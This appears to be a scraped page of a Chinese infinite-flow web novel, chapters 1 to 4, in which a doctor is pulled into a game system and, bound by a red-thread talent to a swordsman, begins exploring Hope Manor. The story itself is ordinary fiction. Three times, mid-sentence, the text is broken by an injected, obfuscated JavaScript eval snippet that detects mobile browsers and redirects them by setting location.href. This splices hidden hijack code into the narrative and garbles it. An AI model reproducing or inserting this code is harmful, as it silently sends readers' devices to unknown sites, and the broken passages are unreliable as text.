《通关法则博弈中[无限]》 1. [夜叩门-0] 欢迎光临 “嘟——嘟——嘟——” 熟悉的手机默认铃声响起,坐在电脑前昏昏欲睡的江星晚皱了皱眉,习惯性地瞥了一眼来电显示的同时接通了电话,按下免提。 做医生的,大半夜接个未知来电很正常。 当然,大半夜还没睡坐在办公室补病历也很正常。 只是或许因为今夜工作太久,屏幕发出的白光这会儿显得有些刺眼。江星晚把眼闭上,一边按揉着自己的太阳穴,一边垂首倾向桌上的手机。 不对劲。 患者家属怎么还没说话? 江星晚面色一凝就要睁眼,想看看自己是不是刚刚困迷糊了误按下挂断。 尚未实施,便听到一串炸在耳边的电流刺啦声。 阴沉狰狞又扭曲的声音裹着风钻进耳眼,下一刻便回荡在脑中,盘踞打转,久久不息。 江星晚听见声音说“欢迎光临”。 她后知后觉地意识到办公室的灯先前明明是开着的,除非灯灭了,电脑屏幕才会那样刺眼。 而此刻,所有光源一齐消失,失重感瞬间来袭又很快褪去。人重新落到实处时,眼前已换了景况。 一片漆黑里,一点烛火孤独地摇曳,但过于摇摆的态度让人觉得它下一刻就会自行熄灭,彻底把人抛弃在这里。 事态紧迫,江星晚顾不上思考,回过神时手已经护住了烛火,掌心因此烤到一点温度。 那种半温不烫的感觉让她打了个寒颤,困意更是早就消散得无影无踪。 周围的黑实在太浓重,江星晚没敢左顾右盼,只快速地借着那点微弱光芒往下瞥了一眼,在堪称极限的观看时间里慢慢分析出自己应坐在一张书桌前。 再漏一点光看看,嗯,乌木的,比她人还长的,价值不菲的古典大书案。 江星晚闭上眼,牙齿都不敢咬一下,只觉得浑身都凉了。 噩梦么? 可她能听到自己砰砰的心跳。 鼻尖小小地进出一口气,江星晚重新睁开眼,打量自己眼皮子底下的东西。 她现在两臂前伸,双手拢着护住那半截还亮着的蜡烛,身体正抵着书案,又因书案太高,卡得她两条手臂也基本压在案上。 微微后撤,便看见书案之上,手臂之间还躺着一本打开的线装书。 上面的字是竖着的,古文写法,虽是繁体,但好在还是楷书。 江星晚小心翼翼地想拿起烛火查看书上的内容,却发现蜡烛已经紧紧黏在案几上。把另一只护着烛光的手移开,便能瞧清蜡烛底下是大片大片已经超出了正常范畴的蜡油。 这些蜡油把这半截蜡烛与案几牢牢地黏在一起,让她没办法直接挪动烛火。 江星晚见状抿了抿唇,心里拔凉但面上不显,思索是拿书就烛还是寻刀撬烛。 她口袋里应该还有刀片……片…… 江星晚看清自己的衣着,原本套在最外面的医师服不知去向,变成了一件粗麻布衣,因着颜色与松紧同医师服有些相似,让她没能第一时间发现异样。 医师服没了,刀片自然也无从寻找。江星晚屏着一口气,试探着把书抄起来,凑近烛火。 「月弯弯星圆圆夜叩门去无回」 「三声长应子归三声断尽归一」 「七为阳夜为尾无长明无物真」 不过堪堪看完书上的内容,那几行字便倏地窜起火焰,幽蓝火光迅速蔓延到整个书身,江星晚下意识一松手,书还不曾落到桌案上便已燃烧殆尽,连片灰都没有剩下。 这个变故让江星晚有些控制不住自己的呼吸声,目光也没有从原处移开,正正落在案几上。只见方才书本遮挡的地方是大片大片凝结成蛛网状的蜡油,在烛光的映衬下愈发显得鲜艳。 江星晚不想用血去形容它的颜色,她自觉还没有到那种程度。纵然一切已经诡异到极点,但尚能运作的大脑会用常理来告诫自身——红蜡油就是红蜡油,哪怕结满宽大案几,如蛛网缚物,也还是红蜡油。 锚定好这个认知,江星晚重新观察周围,最终在脚边找到一把做工略显粗糙的小刀,刀锋只有一指长,但撬个蜡烛应该没问题。 她想看看别的地方,但没有光寸步难行。 医生一般不怕骷髅,但不一定不怕黑。 江星晚很难说得清自己现下在想什么,只知道大脑还在不断推演各种可能。思绪的飞快运转是如此真实,她从前做梦时不会这样的。 如果是梦,她现在想要光,此处应该亮,而不是只有这一根小小烛火。 江星晚用牙抵了一下舌尖,适度的痛感催生些许勇气,她捏紧刚撬下的蜡烛,凭着感觉往前走。 此处的黑太浓重,烛光则像设定好范围的道具,照亮的区域堪称死板。 一寸不多,一寸不少,若想照亮脚下的地面,都需要她蹲下身才能看清。 江星晚脚步不重,走在此处却仍有清晰脚步声,听着像踏在青石板上,但脚下的触感绝对不是。 下陷的,起伏不平的,类似泥土。 烛火去照,看见的是石砖铺成的整洁地面,做工的师傅手艺应当很好,石缝若不仔细瞧都瞧不见。 江星晚站起身,护着手里烛火的同时手掌重新丈量了蜡烛的长度——从食指的第一节到了食指的第二节。 可地上没有蜡油,烛芯所在的浅凹里也没有。 江星晚侧首看向右边。 石砖地,乌木案,如果此处真的还愿意讲道理,那边应该有一扇门。 这种朝向格局,是最常见的书房布置。 她刚刚往前走了二十步,前方依旧无物,在一间四病床并列的普通病房里,她从门口走到第四个病床,是二十一步。 江星晚回忆了一下那间病房的纵深,更坚定了自己之前的想法——此地最有可能是间非近现代时期书房。 她不清楚木材的具体分类,但那具乌木案明显是真木头,且她看见的那部分没有任何拼合痕迹,说明极有可能是用一棵树做出来的。 树养到这么宽,就算树种本身再便宜,如今也该有了几分身价,更何况乌黑发亮的,也不像不值钱的样子。 至于石料,江星晚更不懂其行价,但做成石砖没雕花的石头,应该也贵不到哪里去? 江星晚分析不出更多东西,只暂时下了个财力中等的结论,虽然脑子里还在想这样的家庭怎么会用不起烛台,所有布置空旷的可以另有深意,黑暗难道就不能是无边无际的吗…… 但她不能想这些。 人有时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681672|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要骗骗自己,才能有勇气向右转,迈步,试图找到那扇门。 第七步时——蜡油第一次实质性地滴到她手上,烛火闪了一下,她看清面前的木门。 触手可及。 在江星晚的手表现出开门意向的时刻,木门吱呀一声朝她打开。 门外站着一个人。 外面也许在下雨,来人的脚下已经蓄起一滩水迹,对方手中提着一盏老式的煤油灯,外层的玻璃罩已然刮花,连带着里面的光团也模糊不清,让人看得眼晕。 江星晚第一眼并未看清对方的脸,门开时仿佛有什么刺到了她的眼睛,让她第一时刻便把目光垂下去,定了一下才敢慢慢往上挪。 对方的衣角还在滴水,宽大的衣物掩饰掉许多特征,让她看不出更具体的东西,只能凭借常理揣测这是个壮年男性。 他带着一个特意压低边檐的斗笠,头又低着,大半张脸压进脖颈上围着的那条灰色粗麻的围巾里,能露出的只有一点点皮肤。 或许还有双不甚明晰的眼睛。 江星晚看着对方斗笠上未编结实的空洞网格,隐约察觉打量视线,一时如芒在背。 她抓紧蜡烛藏紧小刀,未退。 两人无声对峙,江星晚始终面色不改,却能感受得到自己愈发猛烈的心跳。 在心率跳到一百四之前,面前之人终于有了反应,破锣一样的嗓音嘶哑难听,又带着一丝指甲刮玻璃的尖锐。 他发出一个音节后便转身,江星晚看着对方表面正常的背影,一边思索刚刚他说的是“克”“客”“刻”“瞌”还是“咳”,一边跟着走了出去。 这人走路像石头捶地,每一步都沉重非常又刻度精准,江星晚始终保持着跟方才对峙时相同的一臂半距离,步步跟进。 门外是有光的,虽然天气是蒙着一层厚重灰雾又夹杂着细密雨丝的情况,余光能瞥见的庭院里也杂草丛生,但至少不是漆黑一片。 两人走在长廊上,这次脚底的感觉的确是硬质的青石板,五感重新可以互证的美妙让江星晚的心跳渐渐回落,达到一个不扰人的程度。 虽然她现在还是有点茫然。 前方的人还在一路前行,他手中的光源稳定无比,即便处于这般算不得黑的环境也不显得多余无用。 江星晚手中的蜡烛就没有这般的好运了。 苦撑许久的蜡烛已经快烧到尾端,隐隐飘来的雨丝还试图将之扼杀,江星晚用另一只手替它遮风挡雨,勉强维持着它摇摇欲坠的寿命。 第七十七步时,手中烛火瞬灭,前方的人骤然消失,只余下那盏老式煤油灯。 时间似乎都在此刻停滞了一秒,几乎是下意识地,江星晚一个迈步过去,捞起了地上的煤油灯。 手中的煤油灯在她提起后迅速熄灭,周遭景象好似蓦地扭曲一瞬,脑海中冷不丁响起一个声音:“跑!跑!跑!” 身后有冷意来袭,江星晚的腿比脑子反应的快,一瞬间发挥了此身所有的耐力拼命往前跑,手中自始至终抓着那盏煤油灯。 心跳很快超负荷,在江星晚以为自己要体力告罄的时候,前面似乎突然出现了什么屏障,又因着她的“硬闯”破碎。 “测试已完成,玩家信息已录入。数据分析中……” 2. [霍普庄园-0]红线牵 “评级已完成。” 声音落下那刻,江星晚的面前出现一块黑色的悬浮光屏。 【ID:0781】 【逻辑:A级】 【想象:A级】 【观察:A级】 【体能:D级】 【武力:D级】 【速度:D级】 【当前级别:E-0】 除去这些已量化的内容,江星晚发现在速度与级别中间的空白处还有一个类似进度条的东西。 灰色的底白色的进度,大概占据80%的样子,不太像是装饰。 可惜前面也没什么提示词,不知道这是不是什么神秘数值。 这边还在想着,脑子里又响起了一道更偏电子质感的声音,与之前让她跑的那个声音有点像。 “欢迎光临。” “007为您服务。” “请抽取天赋。” 面前展示评级信息的光屏开始变化,扭成一个盒子模样,顶端散发着柔和白光,很容易让人想到某种抽卡游戏。 江星晚有些沉默,她对自己的手气有着明确的认知,但即便拥有自知之明,现在也没法让局势更有利于自己。 她伸出手,静下心去摸一个答案。 里面没有什么乒乓球或者小纸片,她一把手伸进去那盒子便自动分解重组,过程中白光并没有变色,不知道是统一颜色还是她的运气就值一个“白色天赋”。 按照她的游戏经验,白色一般是没有评级的装备道具。 “……”运气不能这么差吧? 手掌忽地被外力推了一下,白色的光让她掌心朝上,而后迅速地开始变幻,很快凝在江星晚掌心——是一小捆红绳。 江星晚:? “天赋已抽取。” “获得天赋[红线牵]。” 江星晚愣了一下,红线牵?这种酷似无限流开场的情景里给她发了一截红线?我在无限流里当红娘? “天赋效果:[同生共死]被绑定方B与绑定方A同生共死,A生B生,A死B死。” “使用规则:[红线牵]仅支持天赋拥有人发起,被绑定方不可拒绝。绑定范围为一切可触碰的生命体。被绑定方死亡后效果自动解除。” “使用方法:天赋拥有人默想‘使用[红线牵]’,亲手为被绑定方系上红线另一端。” “当前评级[红线牵]剩余可用次数:1。” 江星晚仔细聆听规则时下意识就跟着默想了使用[红线牵],手中的红线自行变幻,一端圈住了她的右手腕,另一端也留了个空圈,落在她左手心。 好消息,红线牵不是让她保媒拉纤;坏消息,这天赋只能让她去绑别人。 同生共死? 江星晚笑了一下。这天赋除了拉人陪葬外还能有什么实际的直接效用吗? “请问你们系统里有没有能阻挡致命一击的道具?” “有。玩家当前评级过低,积分为零,无法购买。” 江星晚没想到这个系统真的能沟通,还会自动联想她的意图。 “使用阻挡致命一击的道具活下来算死过还是没死过?” 系统卡顿了一下,“死过。” “那[红线牵]会因此解除效果。” “我的次数也不会返还吧。” “是。” 好,这个天赋更鸡肋了。江星晚冷笑一声,这样的判定条件在,什么不能拒绝也是虚的。 “你们——” “下场游戏即将开始,倒计时一分钟,请玩家做好准备。” 江星晚一愣,周遭景象蓦地清晰起来,环境却依然是之前的庭院。 只是灰雾细雨不再,她的手正放在一扇朱漆大门上。 江星晚直接推开。 外面是日光和煦,热闹街市。再远一些的地方存在着一层肉眼可见的偶然波动。 “空气墙?” “这些是地图边缘的背景数据?” “三十秒。”系统在节点出声报数,而后沉寂下去,只留下那一声声秒针走动的倒计时提醒。 江星晚已经往街市跑了过去,在一众磨砂质感的路人中一眼看到一个高清路人。 他身背长刀,挺拔笔直,正看着一串糖葫芦笑。 江星晚直接朝他跑过去,顾不上把气喘匀,“右手借我一下可以吗?” “十。” 男人歪了一下头。 江星晚捏紧红线另一端。 “五。” 他伸出了手。 江星晚抄起红线就往他手上套。 秒针声被打乱,江星晚听到短促的电流滋啦声,听起来像电路断触。 难道失败了? “你有听到什——” “[红线牵]已使用,即将前往世界[霍普庄园]。” ………… 江星晚的脑子有种熬了个通宵后又被沙包砸了脑壳的痛感。 腰上也发紧,勒得慌。 “这就是那什么霍普庄园?” 江星晚猛地睁开眼,入目是个富丽堂皇的会客厅,明显的古欧式家居装饰风格,或坐或站地塞了不少人,一眼看过去大部分也都是同时代的贵族装扮。 她懵了一下,很快又想起之前听到的[霍普庄园],猜想这里应该就是了。 在场还有人没醒,江星晚先低头看了一眼自己的衣着——看着非常重工,又配置着束腰和鱼骨撑,也难怪又勒又沉。 好在她现在算倚靠在沙发上,且沙发的质感很是柔软,多少能缓解一点衣服带来的不适。 她目前正好挨着一侧的沙发扶手,江星晚下意识伸手去摸,想借力坐起来,哪知按上去后的触感却不太对劲。 江星晚瞬间清醒,扭过头就瞧见自己的右手与扶手之间多了一只手,而那只手的主人明显是为了站起来跟她选了一样的借力物。 两人右手叠着右手,手腕上相连的红绳在江星晚的大袖子下面若隐若现。 ! 江星晚扒着扶手往那边一探身子,差点就跟已经半蹲好要站起来的人直接撞上,那人打扮与先前毫无区别,只是神色间早就没了笑意,蹙着眉一派严肃。 他的刀还在。 江星晚正要说些什么,头顶忽地传来一个声音,她还记得那个音色,是之前那个给她“评级”的声音。 “玩家已融入,世界重启中。” “离开条件:利用好身份,完成主线任务。” 宛如公众播报一样的声音到此结束,眼前出现悬浮光屏。 【您的身份:霍普公爵第一任妻子的女儿】 江星晚阅读完成的那一刻光屏就自动消失,那张高清的脸重新出现在眼前,而他的目光仍聚焦在她身上。 她顿时有了不妙预感。 “门打不开。”略带耳熟的男人声音响起来,是她睁眼前听见的那个。只是比起最开始他已经换了一个位置,看样子是一路摸索过去的。 有人听到这话走了过去,也试着推拉一番,但那分明没锁的门愣是纹丝不动。 “见鬼。”男人咒骂一声,从口袋里掏出一支没点燃的雪茄夹在手里,转了个身看向在场众人。 “大家应该都有身份吧?” 江星晚下意识抓紧了那个高清背景板还没抽离的手,她现在合理怀疑背景板是世界黑户,很可能是没有身份的。 毕竟他从头到脚都跟这个世界格格不入,还是之前的打扮。 好在在场这么多人总有人应话,就像坐在江星晚左手边双人沙发上的一个男生,听见这句问询时脸上展现出了大学生的单纯模样,同时又多了一点兴奋。 “有有有,我是公爵的小儿子。”他看向男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681673|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,语调真挚眼神向往,“请问您是老玩家吗?” “不是,但我们这场不会有老玩家。”男人语气有些骄傲,尤其在有人惊讶地问出为什么之后更是愈发得意,“霍普庄园是个新手限定本,参与的只会是新玩家。” “你们没问系统吗?”他主动说出了消息的来源,“只有提问那个系统才会回答,而且不说谎话。” “系统……是什么?”一个颤颤巍巍的声音从身后响起,江星晚回头去看,见自己身后那一大片地方还摆着一架钢琴,钢琴后面坐着一个白裙女子,说话的老者则站在钢琴附近。两人的衣着打扮虽然跟其他人也是同时期的,但要朴素得多。 老者头发花白,此刻正紧张地搓着手,面上有点不好意思,“我、我年纪有点大了,不清楚这些……” 他看起来很面善,就像碰到了会主动跟小辈打招呼问好的邻家爷爷,很容易勾起人的恻隐之心。 那位自称公爵幼子的年轻男生显然就是那种热心肠的人,听见这种情况自告奋勇地站了出来,包揽了解释的活计。而他的表达能力很强,没有纠结一些抽象的概念,而是从实用出发尽快让对方明白了系统是哪个以及它的作用。 老者的领悟力并不弱,一点拨便明白了现在的情况,感激着道谢又不忘自我介绍,“耽误大家时间了,我姓裴,刚刚系统告诉我我是这幢庄园的上一任管家。” “没有告知姓名吗?”厅内一个在角落里站着的男人开口,神情困惑,“我以为每个人的身份上都有写。” 说完,他就主动交代了自己的情况,“我是扎克,公爵的义子。” “啊?”公爵的小儿子再度给力开口,“我的没有写。” 系统的区别对待显然让人有点猝不及防,江星晚面色微沉,一边整合自己听到的消息一边思考什么时候跳出来介绍才是最合适的时机。 “也许跟主线任务有关。”江星晚主动参与进话题,她已经想明白事已至此她很难再低调做人,不如放弃抵抗主动出击尽力打造她理直气壮的样子,“咱们的系统很是惜字如金,不过它既然特意提了身份,或许我们要稍微注意下身份之间的联系,彼此间尽量不要称呼错。” 江星晚说到这里看向了公爵的小儿子,“你的身份牌明说了你是小儿子,那我肯定要叫你弟弟。但是我不能确定我跟扎克谁大……” 她适时蹙起眉,有些纠结道,“身份牌并没有清楚告知我是第几个女儿,也许是平辈之间可以互称名字的意思,但我这边也没有这个内容,大家直接叫我的本名吧,黎晚。” 小儿子身边的贵族姑娘闻言有了动作,点头如啄米,说话轻声细语的,“我也是,没说名字也没说年龄,只说了是女儿。我叫霍白。” 江星晚留意到霍白说话的时候飞快地瞥了一眼蹲在她旁边保持沉默的背景板,但是没问。江星晚也没主动提,只是对着霍白扬起一个笑,“也不知道公爵还有没有女儿。” 没人再跳出来认领女儿身份,但是很多人的视线都没有移开,江星晚知道缘故——他只是蹲着又不是隐身了,可能混乱的情况下不太惹人注意,但是只要瞧见了谁都会多看两眼。 谁会忽视掉一个古欧洲场景里的本土黑衣劲装刀客啊! 之前帮着雪茄男一起推门的那个人快步走了过来,仔细看能发现这人明显是个练家子,此刻那黝黑脸庞面色凝重,站在背景板身后拍了拍他的肩膀,“兄弟,你是?” 江星晚想着最合适的反应开始她的表演,第一件事是先趁机偷看两人手腕上的红线还在不在,得到了它已隐藏的好消息。 如此她也放心地松开了他的手,放任他站起身,面上一派镇定。现在这个男人有一半的几率可以是个哑巴。 他的神色平静,“尹辰。” “嗯。”江星晚笃定地像是亲眼所见早已知晓,“他是霍普公爵请来的道长。” 3. [霍普庄园-1]道长 人在拥有信念感的时候可以把自己也骗了,就像这种很炸裂的身份用寻常语调讲出来会给人一种太离谱以至于应该是真的吧的错觉。 比如可爱的公爵小儿子应是信了,“道长?咱这还是个灵异本?” 江星晚没去管这个小朋友怎么好像更兴奋了,只是点点头,“有可能。” “你怎么知道他的身份?”扎克问道。 江星晚讶了一下,“身份里写的呀。”她把人看了一圈,像在寻求认同,“难道大家的身份牌都没提及别人?” 不少人陷入深思与怀疑,江星晚岿然不动,继续表演她的真诚。 “提了。”一个新声音响起,开口的是站在江星晚右手边单人沙发后的一位非宫廷装束但也很贵气的男士,这人长相有点混血,以至于眼窝里能卡住一片单片眼镜。 他单手扶着面前的沙发靠背,笑了一下,“我是公爵姐姐的代理人,李。” 单人沙发里坐着的贵妇人眉梢微动,“我是公爵的姐姐。” 雪茄男插进来总结,“那就是有成组的关系。” 在场没人反驳,都默认了这个说法。 雪茄男重夺话语权,再度开始控场,“还有别的成组身份吗?” 江星晚看向了自己的右手边,她坐的是厅内最大的沙发,一共坐了三个人,挨着她的是同样贵族装束的一女一男,根据刚刚观察出来的规律——这两个人的身份大概率相关。 不知是不是察觉了江星晚的视线,坐在中间的这位姑娘开了口,“长媳,公爵的长媳。” 她看起来身体状况一般,面色略显苍白,犹豫了一下还是道:“我不知道有没有长子。” “啧。”她身旁那位男人笑了一下,有些心不在焉,“长子没死,我就是。” “你们直接叫我长子吧。”他说完这句话就继续仰靠回沙发上,闭目不再说话。 江星晚看到长媳的脸色好像更差了,也是,谁也不知道身份的相关性有什么作用,万一真的是阵营与队友,摊上这种事是挺要命的。 雪茄男的脸色也有些不好,但没有发作,而是主动介绍了自己,“我是霍普公爵世交的儿子。在场应该也有类似的身份吧。” 他看向了还没介绍自己身份的两个人——那个练家子和钢琴后的白裙女。 目前已知身份里就他和霍普公爵的关系看起来最远,剩下的局外人多少能和公爵亲戚扯上关系。只有他孤家寡人一个,这让他有点不安。 练家子开口,“我是公爵的弟弟,朋友都叫我刚子。” 白裙女也发了话,“林曼,公爵聘请的音乐教师。” 雪茄男表情莫测。 “咱们现在是要研究主线任务吗?”小儿子看起来跃跃欲试。 但还没等有人回答他,此地忽然响起了敲门声。那扇纹丝不动的白色大门稳定地被人敲了三下,随后便有身着黑色燕尾服的中年男人推门而入,顶着屋里所有人的视线朝大家鞠了一躬。 “公爵尚未归来,诸位请先随我移步房间,休息一番。” 看一个外国人板着纹丝不动的笑脸讲流利中文的体验有点奇妙,也有点诡异。 没人轻举妄动,男人便复述了一遍方才的话,只是说话的语调与停顿都完全复刻,平白让人有点悚然。 “你——”小儿子似乎想问男人的身份,被坐在他身边的霍白猛地抓住了胳膊,她冲着小儿子轻轻摇头,又压着声音喊他,“弟弟。” 江星晚大概明白霍白的想法,规则没说这个身份扮演能不能在NPC面前露馅,保险起见就是不要。 作为公爵的儿女却不认识公爵的人,很容易被当成一种不符合身份的行为。 “公爵尚未——” “房间有床吗?”长子打断了男人的第三遍复述,打着哈欠从沙发上站起来,直接走到男人跟前抱臂把人打量了一番,“在场可都是父亲的贵客,招待可不能出错。” 男人姿态很恭敬,“公子放心,每一间都有精心安排。” 长子拍了拍男人的肩膀,“挺好,带路吧。” 他直接做了个请的手势,极自然的反客为主操作看的人一愣一愣的。 这角色融入的也太快了。 “走吧,请了三遍不动会让人生气。”刚子第二个跟上去,江星晚听出来他在提醒,方才那个NPC男人复述第三遍的时候嘴角在一点点外扩。 江星晚也没多等,看了眼尹辰见他知道跟上后就也朝离开的队伍走去。 一行人最后还是都跟着走了,队伍看起来略有点长,很多人走的并不利索——在场贵族身份太多,女子裙摆厚重束腰紧缚,男人则穿着紧身袜与高跟鞋。 老实说,江星晚在留意到在场男玩家衣摆之下的这种装束后,不厚道地觉得内心平衡了。 好在即使行进队伍有点拖拉,男人也没说什么,仍然保持匀速前进。只是出门没多久他们碰见了过路的仆人,仆人也僵着一张笑脸,跟现在在引路的男人见礼,“管家好。” 于是大家知道了这个NPC的身份,有人不由看了一眼前任管家。 前任管家连忙摆了摆手。 这个小插曲并没有引起管家的注意,他只是尽职尽责地带领大家穿过华贵走廊,找到上楼的阶梯。 二楼留下了一批人:义子扎克,公爵的弟弟,世交之子,公爵的姐姐,李,前任管家。 剩下的七个人去了三楼,也是一人一间房的给钥匙,连长子长媳也是如此。 在此之前女儿霍白和幼子都已经依次安排到了前面的房间,现在就剩下三个人。 江星晚看着与二楼格局完全一致的三楼,心里有点忐忑,还剩两个房间,不会有个倒霉蛋要被安排到四楼吧? “小姐,您的钥匙。” 江星晚看着管家递过来的黄铜钥匙松了口气,轮到她至少说明她不会是那个倒霉蛋了。 拿到钥匙的江星晚道了谢便拧门进去,管家却没有像之前那样立刻就继续往前走,而是卡壳一般浑身都僵硬了一会儿。 “小姐。”管家嗓音有点机械,听得江星晚心里一紧,但设想里的不好场景没有发生,管家只是抬手推了一把尹辰。 “他也在这里。” 尹辰一只脚踉跄进屋里,扶着房门稳在原地。而管家已经恢复了正常,带着最后一个玩家往前走去。 林曼临走前还若有所思地回头看了他们这边一眼,一脸意味深长。 在门口站着不是个事,江星晚把尹辰拉进屋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681674|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将门关好,然后扫视了一眼屋内装潢。 入目所及没有明显的诡异物品,一些细节表明这的确像个女子会长住的房间,只是暂时不能确定里面有没有与当下身份有关的东西。 江星晚的目光落在挨着墙的高大衣柜上,抬步就要走过去,刚迈出脚又想到什么,回头看向尹辰,“我们一起过去看看。” 男人维持着自进入霍普庄园后的面无表情,但还是提步跟上了她。 江星晚抬手探向衣柜门把,摸到之前回头看了下尹辰,“你知道我们是什么关系吧?” 尹辰瞥一眼自己的右手手腕,没说话。 “……”要不是之前自我介绍的时候真的听见了对方开口,江星晚可能会以为背景板都是不能进行语言沟通的。 “其实我——”江星晚正要先解释解释就听见噌地一声对面拔刀了,她的手登时就从衣柜前收回来挡到两人之间,“刀下留人。” 江星晚声音不大,有种这个时候还记得压低声音谨防隔墙有耳的努力又辛酸感。 尹辰依然绷着脸,用空着的手指了指她和柜门。 江星晚莫名明白了他意思:他好像懂了她的意思。 虽然江星晚不知道为什么明明两个人都会说话却非要靠肢体动作打哑迷,但江星晚没有多嘴,只是一边转过身准备开柜门一边小声絮叨着些或许可以拉好感的话。 “我也是第一次用,没想到事情会变成这样,只是暂时我也没有办法补救,等离开这里后我会想办法赔偿你。” 江星晚抓着衣柜把手,想了一下如何把饼画的更圆满,“十串糖葫芦怎么样?” “嗯。” 江星晚愣了一下,正想看看这个人是不是真的说话了的时候他径直把手伸了过来,摸着柜门把手的上端直接发力拉开。 衣柜里的都是些漂亮礼裙,没有危险发生。 尹辰把刀收了回去,目光投向江星晚时眸中有了一丝迟钝的迷茫。 江星晚没看到,在确定开门无鬼后她就已经开始翻找线索,可惜衣柜里除了裙子还是裙子,看起来除了能用于更换外没什么别的作用。 她关上柜门,换了个地方继续探索。 尹辰没再跟着她,而是在房间的中间位置找了把椅子坐下,眼神放空不知道在想什么。 江星晚搜着搜着搜到了他跟前,低头看着这个不再笑的男人沉默了几秒,压着声音轻问,“你的身份是什么?” 他的目光重新聚焦,“道长。” ??? 江星晚震惊不已。 “我只能是道长,不是吗?”尹辰很平静地在陈述,看起来是个情绪很稳定的人。但鉴于江星晚之前见过他笑得不值钱的模样,所以她没有贸然下定论。 “啊,那是什么?”江星晚在尴尬中看到了茶几下压着一个小小的白色页脚,连忙蹲下身去捞。 东西被一点点挪出来,原来是个白色信封。 上面的火漆已经拆过,江星晚重新打开,从中拿出一张硬纸卡。 纸卡上的字迹已经有些褪色,但上面还残留着一些淡淡的香味儿。江星晚不确定这是什么味道,但是认得贺卡上的英文。 【happybirthday——Edward】 4. [霍普庄园-2]祝你成功 一个叫爱德华的人在祝她生日快乐。 江星晚把这东西翻来覆去地又看了好几遍,依然没有找到新的信息后才暂且作罢,复原了物品状态,想要重新给它找个地方放。 “监测到个人任务相关线索物品及隐藏意愿,线索物品已收入随身背包。” 007的电子音再度入侵大脑,江星晚手上一轻,信封已然不见踪迹,她试着默想拿出该信封,那东西便又重新回到手上。 这功能倒是挺好用的。 江星晚想了想,是不是可以凭借这个功能确定哪个是重要线索? 刚想试着呼唤一下007,江星晚的面前就出现光屏,上书一行大字:【世界任务期间无法主动发起通讯】 “……”她懂了,就是只允许系统联系她。 江星晚遗憾了一秒就继续去搜下一个地方,梳妆台上有一些珠宝,她挨个翻了一遍,发现竟然只是起到好看的作用。 “干扰项可真多。”江星晚慢慢踱回室内的小沙发前,在尹辰对面坐下。 刚刚大搜查时她搜到了纸笔,特地拿了一些放在沙发前的小桌上,此刻正好使用。 江星晚一边在纸上勾画可能性,一边跟尹辰闲聊,“你知道这是什么地方吗?” “……霍普庄园。” “那你知道我是谁吗?” 尹辰的眼神有些怪,像看一个傻子,但还是回答了,“公爵之女。” “那是身份。”江星晚放下纸笔,直勾勾看着尹辰,温柔地像在哄小孩,“你还记得我叫什么名字吗?” “江——”他很快改口,“黎晚,你叫黎晚。” 江星晚笑意盈盈,“一加一等于几?” “二。” “九乘九呢?” 尹辰张了张口,已经做出了“八”的口型,但又猛地闭上嘴,别过脸不理她了。 江星晚没太在意,总归想了解的已经套出来,现在只需要压压笑意别把人惹急。 “咱们现在的处境还是挺被动的。”江星晚换了个话题试验他感不感兴趣,“主线任务不明朗,身份信息缺失,副本类型也不明确。” “副本?” 江星晚眼神微动,“因为现在的处境很像一种游戏,在过去我习惯于将这类游戏的每一个关卡称作副本,一时说习惯了。如果放在这里,或许要叫它世界?” 尹辰明显更熟悉游戏与世界这两个词汇,听到时也没有那种茫然神色,只是点了点头。 “你应该知道我们现在不在原来的世界了吧?” “知道。”尹辰似乎对这种事接受良好,“传说世有三千界,神使可于其间穿梭来去。” “你过去见过神使吗?” 尹辰瞥了江星晚一眼,淡淡道:“祝你成功。” 江星晚:? 尹辰再度抽刀,从衣襟里摸出一块干净的擦刀布,一边擦刀一边道:“选拔假手于人未免胜之不武,待找到解除契约之法你我便分道扬镳,但相识一场,我会祝愿你一路顺遂,赢得神使选拔。” 江星晚听懂了,觉得尹辰要是能评级那想象力高低也是能评个A的。 但她选择顺着尹辰的话讲,“没想到你竟然知晓此事。只是一处有一处的规矩,在这里你记得不要说漏嘴。不过有一点我还是先澄清一下,每一种契约都是神赐的助益,善加使用并非胜之不武。” 江星晚义正言辞,图穷匕见,忽悠的快把自己也说服了——这想法多合理啊。 尹辰闻言渐渐停下擦刀的动作,似乎在权衡此言的可信度,最后在江星晚略带希冀的目光里抬起头。 “系统播报完成前,所有人无法移动位置。” 江星晚意识到这是他的发现。 “世交的儿子和刚子都动过走动的念头,但是他们和我一样,都离不开那个范围。” 江星晚看向尹辰,由衷感慨,“好惨。” 很明显他也被未知力量定下的规则所束缚,但在权益方面是个彻底的黑户。 但这种惨于她而言是个好消息,尹辰越被动,能够为她所用的可能性就越大。 